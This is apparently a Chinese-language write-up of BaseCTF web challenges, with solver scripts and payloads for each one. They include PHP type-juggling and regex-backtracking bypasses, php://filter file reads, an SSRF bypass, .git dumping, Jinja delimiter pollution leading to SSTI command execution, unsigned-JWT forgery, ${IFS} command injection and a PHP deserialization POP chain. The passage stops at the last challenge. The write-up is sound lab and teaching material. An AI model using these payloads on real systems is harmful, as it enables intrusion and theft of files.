数学大师

经典request脚本题 正则ai就行 注意点就是把×替换为* ÷替换为// 并且开启session cookie 因为判断连续正确依靠cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re
import requests
url = "http://gz.imxbt.cn:20429/"

sess=requests.session()
sess.cookies.set('PHPSESSID', 'd5nu0bl94l91naj2i7heme44vu')
response = sess.get(url)
count = 0
for i in range(50):
match = re.search(r'(\d+)\s*([+\-\*/×÷])\s*(\d+)', response.text)
a, op, b = match.groups()
if op == '×':
op = '*'
if op == '÷':
op = '//'
expr = f"{a}{op}{b}"
answer = eval(expr)
print(f"第{i + 1}题: {expr} = {answer}")
response = sess.post(url, data={'answer': str(answer)})
count += 1
if count == 50:
print(response.text)

flag:BaseCTF{f93114a9-c1ea-41a7-b05a-d2bb8e32a9ed}

玩原神玩的

php审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
ys_open($_GET['tip']);
} else {
die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
if ($tip != "我要玩原神") {
die("我不管,我要玩原神!😭😭😭");
}
dumpFlag();
}

function dumpFlag() {
if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
die("可恶的QQ人!😡😡😡");
}
$a = $_POST['m'][0];
$b = $_POST['m'][1];
if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
die("某站崩了?肯定是某忽悠干的!😡😡😡");
}
include 'flag.php';
$flag[] = array();
for ($ii = 0;$ii < sizeof($array);$ii++) {
$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
}

echo json_encode($flag);
}

第一步就是比较len数组的长度是否和flag的长度相同,爆破即可传参

GET:?tip=我要玩原神

POST:len[0]=1&len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1

第二步很简单字面意思

GET不变 POST:len[0]=1&len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966 %记得url编码

得到列表image-20250711213413189

最后一步ai给你写个还原脚本就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import hashlib

md5_list = [
"3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997",
"ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b",
"ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","2723d092b63885e0d7c260cc007e8b9d",
"2723d092b63885e0d7c260cc007e8b9d","c9e1074f5b3f9fc8ea15d152add07294","c9e1074f5b3f9fc8ea15d152add07294",
"f0935e4cd5920aa6c7c996a5ee53a70f","65b9eea6e1cc6bb9f0cd2a47751a186f","03afdbd66e7929b125f8597834fa83a4",
"44f683a84163b3523afe57c2e008bc8c","7f39f8317fbdb1988ef4c628eba02591","d67d8ab4f4c10bf22aa353e27879133c",
"6364d3f0f495b6ab9dcf8d3b5c6e0b01","a5771bce93e200c36f7cd9dfd0e5deaa","6c8349cc7260ae62e3b1396831a8398f",
"9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","d67d8ab4f4c10bf22aa353e27879133c",
"a0a080f42e6f13b3a2df133f073095dd","c8ffe9a587b126f152ed3d89a146b445","b53b3a3d6ab90ce0268229151c9bde11",
"e369853df766fa44e1ed0ff613f563bd","6c8349cc7260ae62e3b1396831a8398f","4c56ff4ce4aaf9573aa5dff913df997a",
"d645920e395fedad7bbbed0eca3fe2e0","c0c7c76d30bd3dcaefc96f40275bdc0a","1ff1de774005f8da13f42943881c655f",
"8e296a067a37563370ded05f5a3bf3ec","7cbbc409ec990f19c78c75bd1e06f215","6f4922f45568161a8cdf4ad2299f6d23",
"1f0e3dad99908345f7439f8ffabdffc4","a3f390d88e4c41f2747bfa2f1b5f87db","3295c76acbf4caaed33c36b1b5fc2cb1",
"735b90b4568125ed6c3f678819b6e058","c74d97b01eae257e44aa9d5bade97baf","6ea9ab1baa0efb9e19094440c317e21b",
"4e732ced3463d06de0ca9a15b6153677","33e75ff09dd601bbe69f351039152189","43ec517d68b6edd3015b3edc9a11367b"
]

def md5_str(s: str) -> str:
return hashlib.md5(s.encode()).hexdigest()

flag_chars = []

for i, target_md5 in enumerate(md5_list):
found = False
for c in range(32, 127): # 常见可打印字符ASCII范围
val = c ^ i
val_str = str(val)
if md5_str(val_str) == target_md5:
flag_chars.append(chr(c))
found = True
break
if not found:
flag_chars.append('?')

flag = ''.join(flag_chars)
print("还原的flag:", flag)

flag:BaseCTF{edbcfd11-6259-40be-91d6-88d17add8407}

1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
for ($i=0;$i<strlen($emp);$i++){
if (ctype_alpha($emp[$i])){
die("你不是hacker?那请去外场等候!");
}
}
echo "只有真正的hacker才能拿到flag!"."<br>";

if (preg_match('/.+?HACKER/is',$try)){
die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
die("你连自己是hacker都不承认,还想要flag呢?");
}

$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
}
else
{
die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

第一个intval特性 ,传参还考了一个php非法传参,e[m.p=114514,即可

第二步 绕过正则并且不满足!stripos($try,'HACKER') === TRUE,当我们传入try=HACKER的时候,会输出你连自己是hacker都不承认,还想要flag呢? 绕不过 使用最大正则回溯

最后 (new $a($b))->$c() 很明显的php使用原生类读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = ('http://gz.imxbt.cn:20693/'
'?e[m.p=114514.1'
'&a=SplFileObject'
'&b=php://filter/read=convert.base64-encode/resource=flag.php'
'&c=__toString')

data = {
'try': 'f' * 1000001 + 'HACKER'
}

res = requests.post(url=url, data=data)
print(res.text)

image-20250711215448666

flag:BaseCTF{07e8680b-b866-4d95-a053-20f723b24c06}

A Dark Room

签到题 ctrl+u即得image-20250714145450671

Aura 酱的礼物

简单的伪协议和ssrf绕过

POST:pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@127.0.0.1&gift=php://filter/convert.base64-encode/resource=flag.php

flag:BaseCTF{e996ff9f-4941-4247-a168-e9aa94e6fd8b}

Back to the future

进去都没有 看看有无robots.txt 有

1
2
User-agent: *
Disallow: /.git

直白的git泄露 使用git-dumper https://github.com/arthaud/git-dumper

python3 git_dumper.py http://gz.imxbt.cn:20805/.git/ ./basectf

拉下来发现只有一个README.md,内容是

1
2
3
4
5
# My Website

This is my web project.

Oops, I place flag here, but i deleted it!

于是我们去查看logimage-20250714151946233

即可得到flag

flag:BaseCTF{1aa62024-5a12-4f55-80fa-cb9c41e1154b}

HTTP 是什么呀

签到题

1
2
3
4
5
6
7
8
9
POST /?basectf=we1c%2500me HTTP/1.1
Host: gz.imxbt.cn:20807
Content-Type: application/x-www-form-urlencoded
User-Agent: Base
Cookie: c00k13=i can't eat it
Referer: Base
X-Forwarded-For: 127.0.0.1

Base=fl@g

然后有一个重定向,抓跳转一瞬间的包就行,response里有flag的base64编码

Jinja Mark

首先进入界面提示了/index和/flag路由

/flag路由进去猜幸运数字 爆破就行

image-20250714152955540

可以得到部分源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
if request.method == 'POST':
if request.is_json:
merge(json.loads(request.data), instance)
return "这个魔术还行吧"
else:
return "我要json的魔术"
return "记得用POST方法把魔术交上来"

ssti禁止了{和},就这点来说不能进行ssti了,但是我们还有一个magic路径没用,在/magic路由下污染jinja的语法标识符

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "<<","variable_end_string":">>"
}
}
}
}
}

再在/index路径下进行正常的ssti注入就可

1
<<lipsum.__globals__.__builtins__.__import__('os').popen('cat /flag').read()>>

flag:BaseCTF{5e4b7b9a-ce09-49f0-8e43-4efca0964ebd}

No JWT

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')

# 其他用户都给予 user 权限
token = jwt.encode({
'sub': username,
'role': 'user', # 普通用户角色
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, app.secret_key, algorithm='HS256')
return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')

if token:
try:
decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
# 检查用户角色是否为 admin
if decoded.get('role') == 'admin':
with open('/flag', 'r') as f:
flag_content = f.read()
return jsonify({'flag': flag_content}), 200
else:
return jsonify({'message': 'Access denied: admin only'}), 403

except FileNotFoundError:
return jsonify({'message': 'Flag file not found'}), 404
except jwt.ExpiredSignatureError:
return jsonify({'message': 'Token has expired'}), 401
except jwt.InvalidTokenError:
return jsonify({'message': 'Invalid token'}), 401
return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
app.run(debug=True)

一眼JWT伪造,首先去/login拿到原始token

image-20250714155138699

找一个网站https://www.bejson.com/jwt/ 将role改为admin即可

image-20250714155346439

1
2
GET /flag HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzYXV5Iiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzUyNDgzMDc3fQ.T9JaxnAd3WpQucobpUiDPYl52FqfnNiZ7frMu-rCrSs

flag:BaseCTF{d1d644ea-e932-4db8-a1df-e7be8b450e0d}

RCEisamazingwithspace

简单的RCE绕过空格 ${IFS}

POST:cmd=cat${IFS}/flag

flag:BaseCTF{50ef1244-a571-48dc-84f4-0a3cfe832b3c}

Really EZ POP

很简单的pop链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Sink
{
private $cmd = "system('cat /flag');";
}

class Shark
{
private $word;
public function __construct(){
$this -> word = new Sink();
}
}

class Sea
{
public $animal;
public function __construct(){
$this->animal = new Shark();
}
}

class Nature
{
public $sea;
public function __construct(){
$this -> sea = new Sea();
}
}
$a = new Nature();
echo urlencode(serialize($a));
?>

唯一注意就是private属性外部不可调用

only one sql

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";
system($query);

可以用show 来查询 database table column 其他的

RCE or Sql Inject